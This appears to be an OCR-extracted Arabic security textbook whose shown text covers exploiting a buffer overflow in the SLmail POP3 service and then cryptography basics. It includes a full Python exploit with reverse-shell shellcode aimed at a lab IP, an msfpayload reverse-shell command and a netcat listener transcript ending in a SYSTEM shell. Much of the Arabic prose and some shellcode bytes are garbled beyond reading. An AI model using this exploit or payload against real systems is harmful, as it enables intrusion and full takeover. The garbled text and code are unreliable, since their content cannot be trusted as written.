ESP JI | 25 gl 5 shellcode JI ) ol address J s o5 cAddress JI B wf s 5 S

NN sl G B ESP JI ) et sl address 1 of La>Y S0
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¢..Address JI i 4 23 ESP 1010 e deitns 13l
JI 1 Jump &AZ & crash JI & si <137 Execution flow I redirection Les Laatal 4 4 sz

Lbaa Laa> 14y O s “Address of ESP Register”

Tlian o loy

Reverse e 3 Le 55 shellcode JI s ww &1 sny 1igs cshellcode JI o5 dl S ESP Ul g
.Shell

13T ESP U1 ) 583l CPU Ul d S IMP ESP ¢35 e INSHUCHON 6 Sl ooy OV (i .13)

.crash JI & o>

¢..Memory JI =I5 instruction Jl eda e ol sle b oJ Address of ESP JI 1 oo adand Y 13U
& 2 L:&J o WLy process Ji odd crash Lgd a5 0 IS (§ 0 i = Address JI s u\ Ll, LS

Jde Jobdl e g 55 BSP I ) 548l o 5 Al instruction Jieds e Goecs U5 e Loses dal e
PICEATPRYY

) I 5 el ) s L L lee Vs
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Redirecting the Execution Flow
Celis ol adias o S W instruction J1 ) JsYI e alsgdl o EIP JI cllzes OV (o

& olms 5 sl shellcode JI Lud s JJmp ESP Y Sl Jasl s ¢ el &JUJl instruction JI (..L.u L s
.memory Ji 3 L 0l

S ASLR J1 5 DEP JI &y o2 & Executable Y x5 Al instruction i eds sl2] 0YI W 4z
O ot | Logll odd Lodser

§..ASLR JI4yDEP Jilia S5 Ja

.é\)l Debugger JI 13- &kl Scripts J a1 425 MONA.PY o SCIPL Logl! oid p At

oalall 4 b g5 executable 5T module T e memory JI st LW &y O a2 Clats Script Jf s

JI e module J1 s Jot1s ol 55 a3 (il U S5 1S a2 o Calll1n 0585 0F as a5

JMpESP _as..4 5 I Instruction

.mona.py W g =1 I 2l b

& &3adl G windows JI 51 system32 JI G 85 g ol Sl asf a5] L. eV sl DLL U1 1oy
ilese Js 8 Rebase JI 4] 4 ,u ¥ DLL Ji 1ia .Application Library s» | ¢34 sl Lals o

ASLR JI 51 (DEP Ji i cSafeSEH JI by ez & Layf creboot
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SNSRI
opcode JI ) &l i .. Lol Bl (3 10S0a LS UST Y S0 5 JMP ESP ye sty e 0V 5

Wl e C,;yj.a\;j‘ywt& Codlpsd (FF E4 saycnstruction Jiedd J{Lﬁ\

BEADFOED
BBARDFGaD

b\ el JSa instruction J L el 2,81 0,04 UED address J1 s s g s 3d1 il o4

SF4A358I

SF4A3591 0048 51 ADD BYTE PTR DS:JEAX+5F

oY e e
Jos Labazal AVEIP IV J..Q.i\ a5 crash JI &sus <131 Execution flow JI aor o) il oo
JI g ump fes ok gl simfe.dll di.“i\ DLL JI J=Is o Ul address JI I 4] .. overwrite

Ay ol shellcode JI ) i3 Wy sy 15 ESP
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N s

eV k| ) ) L La

Getting the Shell
ok 5 st shellcode JU “C7s” I izl W i ey 5 s S e o> O dmr s <0V

o o g 155U el S Aaled e I

#!/usr/bin/python

import socket
s = socket.socket (socket.AF INET, socket.SOCK STREAM)

shellcode =
("\xbb\xdc\x0e\x23\x1lc\xd9\xed\xd9\x74\x24\xf4\x5f\x33\xco" +
"\xb1\x4f\x31\x5f\x14\x83\xef\xfc\x03\x5f\x10\x3e\xfb\xdf"
"\xf4\x37\x04\x20\x05\x27\x8c\xc5\x34\x75\xea\x8e\x65\x49"
"\x78\xc2\x85\x22\x2c\xf7\x1le\x46\xfI\xf8\x97\xec\xdf\x37"
"\x27\xcl\xdf\x94\xeb\x40\x9c\xeb6\x3f\xa2\x9d\x28\x32\xa3"
"\xda\x55\xbd\xfl1\xb3\x12\x6c\xe5\xb0\x67\xad\x04\x17\xec"
"\x8d\x7e\x12\x33\x79\x34\x1d\x64\xd2\x43\x55\x9c\x58\x0b"
"\x46\x9d\x8d\x48\xba\xd4\xba\xba\x48\xe7\x6a\xf3\xbl\xdo"
"\x52\x5f\x8c\xd5\x5e\x9%9e\xc8\xd2\x80\xd5\x22\x21\x3c\xed"
"\xf0\x5b\x9%a\x78\xe5\xfc\x69\xda\xcd\xfd\xbe\xbc\x86\xf2"
"\x0b\xcb\xcl\x16\x8d\x18\x7a\x22\x06\x9f\xad\xa2\x5c\xbb"
"\x69\xee\x07\xa2\x28\x4a\xe9\xdb\x2b\x32\x56\x79\x27\xd1"
"\x83\xfb\x6a\xbe\x60\x31\x95\x3e\xef\x42\xe6\x0c\xb0\xf8"
"\x60\x3d\x39\x26\x76\x42\x10\x%\xe8\xbd\x9%\xde\x21\x7a"
"\xcf\x8e\x59\xab\x70\x45\x9%9a\x54\xab5\xc9\xca\xfa\xl6\xad"
"\xba\xba\xc6\x41\xd1\x34\x38\x71\xda\x9%e\x4f\xb6\x4d\x2b"
"\x50\x38\x8a\x43\x52\x38\x93\x28\xdb\xde\xf9\x5e\x8a\x49"
"\x96\xc7\x97\x01\x07\x07\x02\x81\xa4\x9%a\xc9\x51\xa2\x86"
"\x45\x06\xe3\x79\x9c\xc2\x19\x23\x36\xf0\xe3\xb5\x71\xb0"

+ 4+ + + + o+
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"\x3f\x06\x7f\x39\xcd\x32\x5b\x29\x0b\xba\xe7\x1d\xc3\xed"
"\xbl\xcb\xab\x47\x70\xa5\x7f\x3b\xda\x21\xfo\x77\xdd\x37"
"\x06\x52\xab\xd7\xb7\x0b\xea\xe8\x78\xdc\xfa\x91\x64\x7c"
"\x04\x48\x2d\x8c\x4f\xd0\x04\x05\x16\x81\x14\x48\xa9\x7c"
"\x5a\x75\x2a\x74\x23\x82\x32\xfd\x26\xce\xf4\xee\x5a\x5f"
"\x91\x10\xc8\x60\xb0")

+ + + + +

Buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

try:
print "\Sending buffer..."
s.connect (('192.168.18.131',110))
data = s.recv(1024)

s.send ('USER username' +'\r\n')
data = s.recv(1024)

s.send ('"PASS' + buffer + '\r\n'")
s.close()

print "\Done."

except:
print "Could not connect to POP3!"

-buffer JU Lol Ll e oMaadl an b
Buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

ade U te 1 IMp ESP JL 04 address JU EIP |3 overwrite foax <l I “4B’s” JI Waxw! ud
slmfe.dll Ji J=1s

s Sz >
“No Operation” oo G "\x90" 325l o |5 5 ,SG e OpeOde B3L5L Lad Loy

¢..NOP JI 1da L

(Do nothing, and execute the next instruction) Ja\.a s instruction |
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shellcode J1 &1 (] Jaay OF I 1350 5 ... Lelta Laag &Il instruction J1 U EIP JI Lz Ledis

S0 s Ll L 15U S35

€. ESP I _ui o JJEIP Ul a5 dns 5 5L shellcode JI s J 1314

Jloda o maid JUMP JI ies o1 3 shellcode JI &l (3 axdl )l bytes JI ope sue Sl s o S
shellcode JI 3f Jua 0T 4} dl 05T 5 e (5T G Pointer 1 oz, S NOPs

Lo zl2 5 amsfpayload sa 5 Metasploit Ji Y 55 5 | plseiuly e Lo shellcode JI 1.ia et
«Local Port Ji5 Ly st Local IP JIS dwleY1 ol glall jan

Python 51 C <58 13] b dz_Jl dx 5

root@kali:~# msfpayload windows/shell reverse tcp LHOST=192.168.18.128
LPORT=443 C

ARNINES YR INE;
I o5 G 05 O g T s 1in Wi XP Iy W 5L (U1 reverse shell 1 s axs of W (3
S Jlas Yl e Jlizal e S S Listening

Y1 1ds 4S5 Terminal JI Jo+1s Jua- Tab = p 5B cz.o.@_ﬁ o Netcat 315 L o]

root@kali:~# nc -nlvp 443
root@kali:~#
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e e Attack JI 1o ;'j

root@kali:~# ./fuzznew.py
Sending buffer...
Done.

Vietim Ji oy paldl JLasy et Neteat slsl ol Tab Ji ) s g 0¥

root@kali:~# nc -nlvp 443

listening on [any] 443

connect to [192.168.18.128] from (UNKNOWN) [192.168.18.131] 49557
Microsoft Windows XP SP3

Copyright (c) Microsoft Corporation. All rights reserved.
C:\Program Files\SLmail\System>whoami

whoami

nt authority\system

.System Privileges 25 ..!col>Yall fel Lo o> .15 o bs

o e S

Operating Systems JI &,| 4+ isdidI Protection Mechanisms I e Gl o

oda oM llas e memory Ji
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Protection Mechanisms

Al a2l odsurns el Sl e o et S8y St
oy o BV 3 ol G Blas el Sl
.application J! i GAUJ}J\ lib dawadimemory JI g Js &g 2 dsY) o=
A e s I flow JI i les 5 0L el ) acall flow I Je 5 Lol A5l 2 5001,

.memory dI =15 b Ol § 4 5 Led gl shellcode [ execution JI ides s dlly =

ol el Bl G o ey ot ol Uy ) ) b s
b JsL T

Nonexecutable Stack
& <b ol Shellcode JI 23 O coS& 136 . Buffer Overflow Ji el & Ci ke s el s ol ] 1

AT 05 o QWL Jedids e ez . memory JI G edy 5 0

This feature enabled by default in most Linux distributions, OpenBSD, Mac OS X, Solaris, and
Windows.

dJi s printf () JiS functions JI ,ax (s 52 library ., ret2libc (returning into libc) b LS ,@Ja;
4 5 o et TUNCHON Ul odia ptseiey el (61 OF sney Shared s functions Ji eda.. cexit( )

dibc Ji' J=1s function JI el 015 1] execution I )L
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A ks lib Jleds (3 w5 function (g1 4 execution JI e 55 s LSt sl Al 35,8 5 5 58

L e 6 AV OIS Gan fadd
ret2plt, ret2strcpy, ret2gets, ret2syscall, ret2data, ret2text,
ret2code, ret2dl-resolve, and chained ret2code.

WAX Memory
1Y) o slastl Lol ol
Making writable memory non-executable, and executable memory non-writable.
.vulnerable program s s> s dl> 4 shellcode [ inject foe Caall 1o O 5K do il odin ooty 5

cui.: Ll sy ¢ b Lals o I ISl IS e o e s Lad> y mechanism Ji ol 5.les o 1l
A Ol lgee 5 i ret2strepy, ret2gets, and ret2data 23 e B o Loz
s\l @ DEP (Data Execution Prevention) di < sk Liie Microsoft Lew coslics! a5l 5,56 eI

g el eda e 5,55 dazes o Wi XP SP2

Canaries (Stack Protection)
JE we jlall in iad s oo IS 35T Lol oda 25 o305 (S Sl ] Jb Lol odia

ST ghans IS iaoeld gl o (3 g 5Ll L gne JIAI fot  con o Ls
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st Ay e 1,85 Gl S 5 pmtees JWL s - eSS s sl 35T T n sllall 1ia 55
- JHIOL Gend! Sl

.Stack I protection Ji ¢1 51 s g 58 addas s i e Laally L

Qs el o5 Al dulad) UL buffers I g b O (3 e 5 02 32 DitS values 0 5)Le g6
bl o N i overflow Ji 134 Canaries JI s.s o2 e . buffer overflow & su> dl>

oLl edd overflow JI J see 5 J3 Pt & gy

variables Ji 5 buffers Ji i canary Jis = 5 s Stack JI s 5 JS s

+ Lower addresses

var?2 4 bytes
buf 80 bytes
varl 4 bytes
saved ebp 4 bytes
canary 4 bytes
return address 4 bytes
arg 4 bytes

| Higher addresses

olldsde f\Jor.}'.wbj C)w SJ&J.G %%\&gf}@.@ @oﬁ Lg"u‘j QL}L'I.H J&Jjb ;.JU\ \Mr.}bu

“Using different methods in multiple layers of security”

“Defense in Depth” aJe dl]af Lo 1
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d 3 B N N

X Firewall e
Access blocked at the firewall ‘

X IpS 32 o2
Access blocked at the IPS ‘

Intruder attempts access, but blocked by AV or whitelisting ‘

DLP X i
Intruder reaches data, but denied while exfiltrating 4
z;’ 2
Intruder exfiltrates data, but denied when reading ‘
Security & Attacks
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ol bl o c3le Bl Y 12 e 5y IS
Y gaas I Rules JI o Firewall” JI Gy b e A loud) bl o5 d Y1 S a6
NG RPN

SIPS” JI s s SN FW U5l oLl C\.k:wo‘ gl el =

At Virus” I flal 5 ¢ DoV (15 oS el 1 5ledt 3] o a5l pllasd W1 D1 G

“DLP” Jl (g iy ol | oS0 lalis Jpld 5 il g el & Sy ol J1 U213
(Data Leakage Preventions)

-

IV ilaul gy Boo E ¢ 58 sy o6 e (S0 Data 1 88 0 pllanal NI K21 (35

“Digital Rights Management”
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Introduction

& ¢ H “ P
Jjby‘d&ﬁy‘bﬁ%‘rK;.L;\J.@&qabw;x\

P PN - % . 5 _ - . _ )

dLSLiﬁ‘d > Uu_zul‘Bﬁg%&ééwwa\Qw‘ﬁjbw "‘j.”ﬁﬁr_@ﬁr}éégg‘j}c

4533 S Lnd 35 Leaets 5l Lasls by p 5

R [PECE PPN NP PPN [P AP APYE AN I Jr R QYW (FUPSE) PR B e
STl o IS5 cola e 4 5% AL b i il QTJQ;E RN TORPE AR pske o]
ML e L A ] eled S L O el 201853 anhs O

S el Bl 5o S e T o 452 5 i J15Y plis OIS 215065 dn
15 el b 2 S 13lami] W o115 25 a2 3 el

TG WS P RPN WK PRGN TR v JES RN [P OE I PEN RN

3N 55t e A Ul 3l sa s UL Byey 61558 ) G sl Ul TRl oY e
s AL G wla dol euzal il s 885 s e a3bls oot 5 (L JEYI ULE G Al
1 I ezl edis 3 el o OIS U1 2 OF IS 5 a1 2 S e 1)

"dlsdpiﬁlsdl“dtw\“ué&;uﬁ"
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A s ol s A sds e 3 232 ey et G Jilen s oWl o auls
\;3‘50.3.1.5\6)\.0;.5‘0.»}*?5@&.3\51‘9U.Ial\J{Ug;J-:J).Hy&ﬂ&JB\J;ﬂ&jcfy\w)w\:ﬁi
i o e Sl AT ane s &l e el Jal e Ll oda 3 0 sieny

€ a5 13l s § 3 gl 1n Joe G5l T ol ) b gzl OF g o1 ALES

L mand oY LaZ w5 el JB

M.»Mj‘\.cfubjjudtsw )}&l‘wu-‘fijg:b coﬂy\fw)Ld\ﬁ

3

oV ) e G T Y 1366 5 gt S5

S GU\ o3 S Yl 13l 1 JB

o ol e b andle 5,45 aigziny b sl o s n J Al e ot W OT Y]
D\ des 2 g o ) gl o1

SR e 8,8 e sl O Ll el e der 3 rb W 5latdl Gan e Lllast b 55 o 2 s
eSS el

ML A e Suslad oy W Aghl e sl i e dle dude s ezl OF"
€5 3 o o sl 1 O 250 (iS5 o1 ol o it g o gy Aiall) S

Sl V1 O gundl 325 Jas tJab
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It b dadll g

FSwdl G (2 Jls 0V

s Sl = éJU\ é.;J\ i

Gl G o315 o5 1 “Secure Tunnel” J el + g8 0,5 Laldl 22U G5 Jall o I3zl o5
VT o Wl géy S <“Obseurity” daxdl cdlal Gan ool Clad) AT ane Cobaol o5 g b !
ke il aloe GRS Dl Il sl o Ll a2l Lo 355

o 200 s D 1 O o 55t s B oy S0 515 0

Z‘iﬁy‘ﬁsz‘ﬁmdbjdi%jjcubjj\djﬁj\é :‘* uiywwﬁg

.?g;fjéﬂwjéfigmg@uba@y\;ug:,a)au&;pﬂsu

gVl psle oy

Jal a1 BT _rs a-lide O 5w Jad) 1 ¢ " Al s ot Bskis Jo J ey dLasly 5L
‘ML}C@‘VS“M "&" J&L}bfjﬁ.;.w cy}\u.a;;&.uc\.‘yj Lo g é}M\ J>\>T:>-j:.u dSJSL.u
gl ) ey Bk - st 35 s LT " g 8" 5 sl
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el o3 sl oy s lett) e,y sl e el aido 85 4 Gatnall ] gl 0V
Y gaawylwwo@ﬁi?@ﬂédoé&UTJJ;M)‘@%)@L;%M&&‘M@
- S s ke ot gl Sl
ol Sz o bl o) Gl Jleo ) oy s (U iy Gl Glads o 1 ko S JAL
SIS dl © 1 (gl g an (o

o2l o T el Gy el o1 S sl 0 s L el sl oDl ot 4 ST 5 ) Ol el i)
LA ST s izl Ll p s ool it mds Of dags ¢ iuko J] Al 631 s
LT oKas o) G 68,0 0 Y 10 ez o) 05 . Ly “Man in the middle” szl 1ia 0550 1y 5

Sl Gasdl e Wlazal o (¢ 2T JUBY IS Lol OY Laké dm JWBY b o ko

I'Challenge J! 1ials
oo Lol 23T 23 505 Sy cdlalls o puadl W ads A1 SV Gand dorbow W sy
el 5L Data Ji 1 a5 1SV s 3¢ Y1 o1 ol

Lhos STy UL its ol Lo U s (8 les O mtis
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Cryptography
.Ciphers JI plaseial &l 5 g ey 38T 5T 0 b Jeol 53l ides 42 Cryptography JI

¢Cipher J! i L

Ciphertext JI ] J 3> Plaintext JI e 1 s 1 45301 3a] 53l ] .. ond

€. i) e b it oxg 1 Plaintext JI alsel ales.. SCipherText Ji sa Loy
sl SYsle Golas e 5Ll output JI %) <“Scrambled Message” JI o, 5 ,Le s» CipherText Ji 1.is
data J\ s plaintext Ji 1is Wi WL ;\Ji\ Message Ji s| PlainText JI e Secret Key JI pldsul,
é sl «Data Base <als i «Credit Card &la; <ULy 5 chulas Sleghas L G5 A 4y Ul S Zagh!

Lele s 2l UL e 203

¢Secret Key Ji ldale
oo i8 gaz e 8 ,Le Algorithm J1 of s 5 ) Seas (Algorithm Ji =1 fb;mj I Randomizer JI «)
S W L) a0 ey VL e plasend (o 5 a0 Key ) 2 5 0555 (sl ) s Ysbll
Lals VWL 0N L TAIGOTIthM I ks sl ald 55 o1 output JI e Cili output e § e

g5 8 xe xa Cipher Ji 1y s V‘“”i ¢G, Ciphertext Ji -5y plaintext JI s o» |S Walab 4l
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Y Key JI s 5 Wl M plaintext J glr il o bl J.}(i b RS Algorithm J|
.Cipher Ji1ia ~5Y plaintext JI Je <5 b A ol jadly ol bl gd 0 Sz o o & 5200

-l s g 2T e key I s ) 5 pxi

¢13) Algorithm Ji iy 5 58 Lo 58U
il Gy el Blas G pdsiie Sl Mathematical Rules JI e &6 sag e 550Ls Ll
Of S ! g I Security JI i) Key JI s Algorithm Ji ezss

.(Algorithms should be public) C.Azu & glae 0 S Algorithms Ji- =

.(Keys should remain private) JZA:Mi\j J.ﬁ;i\ 8 G O8N STV Keydllw ®
[ p s ilets 1] J g ) LIS

“The algorithm will produce a different output depending on the secret key”
..Key values are used by the algorithms to indicate which equations to use, in what order, and
with what values!.

SAlgorithm Ji cls =15 Key JI foaws a5 5T cAlgOrithm Jl sda foxs CaS .. s

il o) plaintext JI s Transpositions Ji 5 Substitutions Ji (e 4 sest 1 2L o 52 4]

§Transpositions J! s Substitutions J! 1da L
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z /2 . % M . &
e Dl 3 O U8 S e T Gty Wlazal o g ST Lz, g8 (Substitution) (Y1
ol O e il

(bl Lcle Transpositions JI o) | day <35> Y1 1 (24l C;’\ ST o LI Ll

LSl

Qw‘oiﬂ:c—‘fluﬂfﬂ\b‘)
AAlgorithm J1s 5 e s ) (Characteristics) JI 5l el a1 e

“Confusion and Diffusion” :lgle d./\kj

ol ) ol el ia s (gl sy key JI s plaintext Ji o B3 0,55 0l 1is Confusion JI i
"o AT e ek A o\!;L:U v ade Caall e 0SS Lxs plaintext Ji  ciphertext J1 & s @4}1
I Gy 35 1 5 .ciphertext JI 3 & Bkl "5 41" &5 e plaintext JI s - 511 character JI 1
- J>! » 84e e Substitution
r) 2T iy s L

Confusion refers to methods used to hide relationships between the plaintext,

the ciphertext, and the key. This means that the output bits must involve some complex
transformation of the key and plaintext.

glazens ;43 ST 342me ciiphertext JI 5 plaintext Ji oy B3 0 55 0L i Diffusion Ji Ll
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B VJA.,\;-T Ll - 3 r.b';::l\ Key JI (e oYl bl] J=Y Liss (As complex as possible)
JU 2 Confusion J1 of s s Ll Jo1 e 34s e Transposition JI Geas s i 5 .Ciphertext
.Transposition JL s Diffusion Ji 5 «Substitution

AtV sdn e o cgogined b5 IS, Diffusion Ji 5 Confusion JI s sz 1 13]

Substitution Example
Substitution JI &les o5 iS4 s ) Caesar Cipher J"lw oLl 5" el OUS e Jle 8

'

'rad g " dge d pdsing OIS 1 "Caesar Cipher” caw) o s S

qP J.BL;i\ ciphertext Ji 5 cplaintext J Js Ll

plain: meet me after the toga party
cipher: PHHW PH DIWHU WKH WRJD SDUWB

SIS [.JT..Secret Key JI e Lle Ngw sy
oY1 Confusion & Diffusion JI 5.5l &S a1 fa
Jse s Lo 5,08l el .S ccipher CLJ}I “character in plain + 3” 4a Key JI 01 54y "("@i‘

.“character in cipher — 3” dL. |

T dl Key J (o isled iS5V Gasetdl (] a4zl ¢L3T s cipher JL LSl LT 5 4
5L Substitutions JI (e s &Ll ol > Lde Jgudd ¢ JK2IL =25 52 S e <~ (5 R p
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n 0 p q r s t u v w X y z
13 14 15 16 17 18 19 | 20 | 21 22 | 23 | 24 | 25

(25 + G A1) ] JozS OF JI B+ 0 A0 512+ 0 A1) o o1+ 0 A1) 0555 of Ll Key JF s 015
color 341 aaled s cipher i 1ds e e 2 L 25 Ly Wl (6 <25 of potentials Keys” el o5 13]
skl Key I Lo Lab 5 8 0555 L e s 3, ol O )
1iSas (25 = G AN, o2~ G AN (1~ G A 1ol ooy p s ccipher i ) LA T [
slall s 1) Lgailf

Plaintext = Decryption(key, Cipher) = (Cipher - key) mod 26

La .Plaintext Ji LJ C’j Cipher Jiy Key JI _» Arguments J=G function o 4.1 Algorithm J1 ol sy

Lol 3 saalin s Dslall ods s o o)

PHHW PH DIWHU WKH WRJD SDUWB
KEY

1 oggv og chvgt vjg vgic rctva
nffu nf bgufs uif uphb gbsuz
meet me after the toga party
ldds 1d zesdg sgd snfz ozgsx
kccr kc ydrcp rfc rmey nyprw
Jbbg jb xcgbo geb gldx mxoqv
iaap ia wbpan pda pkcw lwnpu

~ oUW N
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:&;751\ s s “Brute-Force Attack” wj obad sl s

Trying every possible key until an intelligible translation of the ciphertext into plaintext is
obtained.

..oV Substitution JI Legs 4!

.Transposition JI 4] & Ls

Transposition Example
Al ;\ﬁ\ Plaintext JI L Transposition JI &les sl > “rail fence” JI s Ly LSS pddciiis

THIS IS REALY GREAT BOOK : e 5 ,Le dlu » Jls it
"Block™ dza e LSSy L] Security sis)
sl S5 6 T8 o L o s ciphertext 1 0358 S5 block ie e 0525 3 Al )l L300

‘&j%éﬂ‘ ('Eﬁyj;\—iuf\'.).;; SMQ\C‘;T Jj.;;.& L“S-UU Keyd\ I\_ehpl@

Key: 341 2 5
Plain: TH I S I
S REATL
Y GREA
T B O O K

o oo A @ I a5 a5 o3, Colum JU T ooy cCipher J S0 Key J plasealy p i 031

;S8 &gl 3 Cipher J1 0588 1iSa s oo A1 3l 1) 5852 03, Colum JI
IEROSAEOTSYTHRGBILAK

Cryptography
[300]



Symmetric Cryptography

“Cryptosystem” J! £ 348 s 55 0 s aladl g
el &by ksl Llas a5 Security Service i ods w5 b 22l wVslll ds ez e 35 &)

:Algorithms &3 -y Ida Cryptosystem Ji o s
.Key generation JI & Y rls.:mf .
Encryption Ji +1 > JoT e 4501,

.Decryption JI J>Y i, =

{X, K,E,Y, D})j,ojj\ o.Ju(-Jp-‘Jl‘ a.uauﬁw‘ekiw
«Ciphertext JI (| Y JIs <Encryption JI 1| E Jis (Key JI 4| K JIs cplaintext JI 4| X JI 35 7 &

.Decryption Ji 4| D J TJ?'TJ

sl oy _hdd Alee 3 egnih s S s L) dmieally I
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Secret key shared by Secret key shared by
sender and recipient sender and recipient

7" T

Transmitted
— X ciphertext
e & —
— Y=E(K, X) X=D(K.Y)

Plaintext Plaintext
'a W Encryption algorithm Decryption algorithm S
input , i output

(e.g., AES) (reverse of encryption
algorithm)

Source: Ref{7)

i 1ie  Key JI i pusiS ) Cryptosystems J) L “Symmetric Ciphers” JI i a3 o 42 5
(b S O s KeY pliieial 235 wed b ool Jlail ol ] 555 &5 5ad O Ls 31 56 il 2o

Y. S IPIPRCIN P PR RTINS IS Key Space JI 13 |US s 4= | “Shared Secret Key” oy

Sender

Encryption
Algorithm

i

Secret
Key

Receiver
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S )5 s ol S s (o oy 38 L1 1LY oy SeCTEL Key I s ) 5 s kS 505
?V.@,,o

U Ghardl sdn b Gl g | OFfline S 1in 32 O Lol o1 1 o) 2 Y B as LA o 5
ol Ll &l (,.L(w "Key Distribution Management"

el Y &l 4 yoe 0 ST Asymmetric Encryption Jb 0,55 L 15) Ll de uJ uaadl e g s e

.Nonrepudiation J! &ea= LJ

¢..Nonrepudiation J! Ida L

o s ol Ll o 1 jasetdl e sl e oy 1 AL 1 o OF ol S 5 sl L)
e B o L) Gt 1 st Yot 5T it 5 b e Bl |

By re S5 e S s sy Koy U1 s o 15 il piatald a5 Key 1 s of | 01
< ol e AT 5 pazdll Jof s key pasind Asymmetric Encryption Ji Al & Lo ! 11 jase
O Lo oMl e Sz o sl sl 3 Keys Il asT 25 515 il

e JSI 01 Eom LV (3 S 2l o 580 slae N1 e s Ul e 508 b ol 4o oy L
o o2 eyl St e JLas!

Jnazd Key gl Userl JI g b | shool 52 Group (3 J st dll 05y oliest g OF 5 50 1 Sed
il key gl User2 o5 .userd Ji wo ol d 515 cuserd Ji we Jool s2) il key 5 cuser2 Ju

userd Ji e Jool sz 515 cUser3 Jl s Jool i wgie
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Number of Participants
2

3

4

5

10

100

1,000

Number of Keys
1

2

6

10

45

4,950

499,500

+N3b 6 keys ab g dlad ey

ORSIWA|
8 Dolaey Mo Lasl LSe
Jhsae Jetly LoD keys JI Cluss

Aol 8 (nS sl parties
N=(N-1)/2

e S Wslall oda ey 5
4 JLaVL ¢ 5 Web Application

Aleall 0db U e alag L UL 25l keys JI e BUI oSG bl cusers JI e Y
LVl oY 2l Keys 1 S Sl s oSl sas o Bolall s i oYL 2l
.Symmetric Cryptography Ji & PREEI Ciphers JI C\);T o V‘L(“““ NP

Stream Cipher

51 Bits JI oy Stream g5k e 52 “Key stream Generator” s g 5 ke ciphers Ji QJ\ e 5,56 dekas

A& b iy «f “Random” | o beudls sdo (Pseudo-Random Bits 51S sl 48 2l Bytes JI
3 2 o° 5 5 S >

.Stream JI 3 4y VI Bit Ji5 Bit J) (u 45l BMe 5 42
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ally plaintext digit Js 4l _gxes “One bit or one byte at a time” : yJl Lia e Lol = @L&
.random bit

Key Ji lia .1 Key JI 05a el (sf <Key Stream JU random bits JI s el ods Lo Gl
LY (3 S ] b all S Az

igzl) 4 505 L5 .Ciphertext JI gl 1y, (< Plaintext digits Ji s Bits Jl e (o XOR Jons 053 o3
Jss Jobe plaintext JI sslazs u,JLJl u*“:’ Decryption J Jex] Key JI & ol Lm\ vﬁ L;f'-é}!\

1ol process JI s 5

p; = ith binary digit of plaintext
Key stream Key stream B : 2 5
generator generator k; = ith binary digit of key
¢; = ith binary digit of ciphertext
Cryptographic Cryptographic . s ;
bt stcemii (£) Bt skreasi (153 @ = exclusive-or (XOR) operation
Plaintext Ciphertext Plaintext
(pi ) ( ci ) (p,' )
Cryptography
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Kev Bit-stream
(K) »| generation
algorithm
kl'
Plaintext _ @
Py A\
ENCRYPTION

It detects the ODD and the EVEN counts.
The output will be 1 (when input bits are not matching)

Key
(K)

» Ciphertext

(c;)

Bit-stream

- generation
algorithm

k.

=
>

) Plaintext
s ~ ()

DECRYPTION

Jledye gU bodis ade Jasil 5301 1ds 5 «(plaintext JI) SRR U 3 sl sag SO dNI condl

“Linear Function” = XOR JI o.a cciphertext Ji =) plaintext Ji ae L2 5 bits

And the output will be 0 (when input bits are matching).

.Reversible Operation Lzl e Lel ¢ Sl ol s

¢..“Reversible Operation” L 55 -ys deitwinn 13La 9

038 XOR JI &las 5260 ave g Jo Jlw

Ciphertext JI 4a (X XOR Y) JI5Y JI s» Random Bit JIs X JI s plaintext digit JI ol RogrA
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X JI s e Bit Stream I s25 Y Il s d XOR foe 0 6~V igal) Joay Lis ciphertext Ji 1
S A5

O o X
R OoOr OK
o~ O

Block Cipher
JIdl a2 e Block JI 1ia «Block £ plaintext J! 5| message J! & ol Ciphers JI - @;ﬂ | da

.Length JI iz Layf Block &.» e ciphertext

b bits b bits
Plaintext »{ Ciphertext
* Y
Key Encryption Key Decryption
(K) algorithm (K) algorithm
y \
Ciphertext Plaintext
-+
b bits b bits

Source: Ref|

.ciphertext JI s plaintext | <. &1 > “b bits” JL 4J| jLadl 4 5 Length of Block JI Jsad =25
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§ J o ol 2 )l Transposition Cipher JI_sis |»

.Block Ciphers JI JW& &1 u~1 Transposition Cipher J! 1ia ux

i o o IS o100 Wl 1 G S35 e Single Block J sl dlas g g Ll S
128 bits 5164 bits aaz> 3127 2 Block J5 (Block s ST I plaintext

In the next Fig: the input to the encryption algorithm is the XOR of the current plaintext block
and the preceding ciphertext block

Plaintext Plaintext Plaintext
LIITITITITITI LIITITITITITI LIITITITITITI

Initialization Vector (IV)

LTI IIII]—= ] - ] o
block cipher block cipher block cipher
Key encryption Key encryption Key encryption
INEEENEEEEEER INEEENEEEEEER INEEENEEEEEER
Ciphertext Ciphertext Ciphertext

Propagating Cipher Block Chaining (PCBC) mode encryption

(IV) JI 52 5 plaintext J 5N XOR Jl ikes 3 oy 8 5 b J 53 S

¢..“Initialization Vector” JI |is |

«Plaintext Ji x5 b XOR |22 o 5% Plaintext Jy ,»ld-1 Length JI .2 4 Random String e 5 )Le &)
o plasuly “Block of Plaintext” Jds & n2ls (2o J% d u.}.; Ciphertext 3] Ga e b o
T 5Ts Conol Dl I e Bles Judk Lia s . Key JI
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el a1 (8 e ez sl o alill an bl oenal &1 OV size]

iy o5 Liad 5 Symmetric Encryption Ji 5 &oass (5 & 5 2401 edn Jsl 3oL,S3 b 4] 5 215 0 5 smis

.Cryptosystems JI o g

ULl ais 3 Block Ciphers JI 1% Lezmy (Symmetric Cryptosystem) Jols CLE; Jeld el
.3DES JIs AES JI s» Symmetric Cryptosystem Jl sis g1 fa)

.AESJ\J&\;&&}?U;;-Q@JJJ)M

AES (Advanced Encryption Standard)

The Advanced Encryption Standard (AES) was published by the National Institute

of Standards and Technology (NIST) in 2001.

AES is a symmetric block cipher that is intended to replace DES as the approved standard for a
wide range of applications.

The algorithm is referred to as AES-128, AES-192, or AES-256, depending on the key length.

\&

8

PHES J.% Wl 16 e 0Ky 4l Algorithm i edd input JI o 4S5

®

block JI s OF o1 <1 byte

ki)l Llas Ll 5,2 25 BIOCKS (3 dxs 55 PIaINTEXE U1 oty p s 5T _iny 1n <128-biits 0,552
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Cipher key

State +Jls uf.Uafj plaintext JI V'; <2 blocks P o}k}ﬁ\ oda ((inputs) =45 Algorithm J S
. JeYL 2L s cipher key JI & yivas o 35U input Ji
g o e g S S
.Encryption Process J! | —»dz. State JI -
.Round s fodiedl Cipher Keys J! ) (,.,J Key Schedule J! | i Key Ji s -
oda (Ciphertext JI o 555 &gl § oxd o shast s State JI E . paor (e State J1 ] 5 gxd
il Lo as AW Emiall (§ A po o sl
